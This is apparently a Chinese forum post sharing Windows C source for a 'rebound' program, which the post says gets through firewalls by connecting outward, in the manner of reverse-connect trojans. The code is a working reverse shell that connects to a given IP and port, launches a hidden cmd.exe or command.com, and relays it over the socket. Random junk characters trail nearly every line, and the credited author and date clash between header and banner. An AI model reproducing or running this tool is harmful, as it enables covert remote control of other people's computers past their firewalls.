这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 .b5B7x}
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/* ============================== R>#T{<<L
Rebound port in Windows NT t:$p8qR
By wind,2006/7 t4h5R
===============================*/ H<dm;cU
#include j @sd x)1+
#include 5h1FvJg
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#pragma comment(lib,"wsock32.lib") G`gYwgU;
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void OutputShell(); a!4'}gHR
SOCKET sClient; SC"=M^E
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; [R6du*P
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void main(int argc,char **argv) Pqx=j_st
{ 8%I4jL<
WSADATA stWsaData; 7S),:Uy[\
int nRet; Wv$e/N`l
SOCKADDR_IN stSaiClient,stSaiServer; Aln\:1MU
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if(argc != 3) z_CBOJl#C!
{ c7'I'~
printf("Useage:\n\rRebound DestIP DestPort\n"); q48V|6X'q
return; 6d` 6=D:
} Uo5l
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WSAStartup(MAKEWORD(2,2),&stWsaData); `[/BG)4
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); hZ5h(CQ?"#
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stSaiClient.sin_family = AF_INET; Fp|x,-
stSaiClient.sin_port = htons(0); m>:3Ku
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); FtT+Q$q=
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) cqi: Rj
{ g@KS\.m]
printf("Bind Socket Failed!\n"); tb^3-ZUb
return; 5k<qJ9
} Yc+/="&z
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stSaiServer.sin_family = AF_INET; |Zncr9b
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); p7Gs
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 5(tOQ%AQ
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Z_cTuu0'
{ m?>$!B4jFB
printf("Connect Error!"); kT!FC0E{
return; a/{T;=_GY
} jvCk+n[
OutputShell(); UACWs3`s+
} pX*Oc6.0mu
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void OutputShell() ,d@.@a]
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{ >/eQjp?:
char szBuff[1024]; VctAQ|h^
SECURITY_ATTRIBUTES stSecurityAttributes; DpoRR`
OSVERSIONINFO stOsversionInfo; C/tn0
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; -D`*$rp,
STARTUPINFO stStartupInfo; \<]nv}1O
char *szShell; hA/K>Z
PROCESS_INFORMATION stProcessInformation; sGc4^Z%l?
unsigned long lBytesRead; _Z@- q
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); C$-IDBXK
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ^t?P32GJ
stSecurityAttributes.lpSecurityDescriptor = 0; Ik(TII_
stSecurityAttributes.bInheritHandle = TRUE; X+
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); =uIu0_v
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 9^c\$"2B
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ccZ A
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *3s4JK
stStartupInfo.wShowWindow = SW_HIDE; Y*dzoN.sW
stStartupInfo.hStdInput = hReadPipe; 4-lEo{IIM
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; d {T3
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GetVersionEx(&stOsversionInfo); YJ_LD6PL9
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switch(stOsversionInfo.dwPlatformId) Lg
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case 1: e{>X2UNW
szShell = "command.com"; Wx;:_F7'\
break; Yq $(Ex
default: vLXN{ ]
szShell = "cmd.exe"; `/Zi=.rr
break; tz6d}$
} x3MV"hm2
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); gV91=Pj
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send(sClient,szMsg,77,0); bN8GRK )
while(1) JD^(L~ n]
{ '@3hU|jO!
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); wh<+.Zp
if(lBytesRead) R]0awV1b
{ e3yBB*@
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); w<lHY=z E
send(sClient,szBuff,lBytesRead,0); kz@@/DD/9
} o2He}t2o
else EdhT;!
{ q1;}~}W;z4
lBytesRead=recv(sClient,szBuff,1024,0); I?.$
if(lBytesRead<=0) break; AVyqtztQ
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); k
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} tq8B)<(]
} 2a3hm8%U
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return; ik=~`3Zp0
}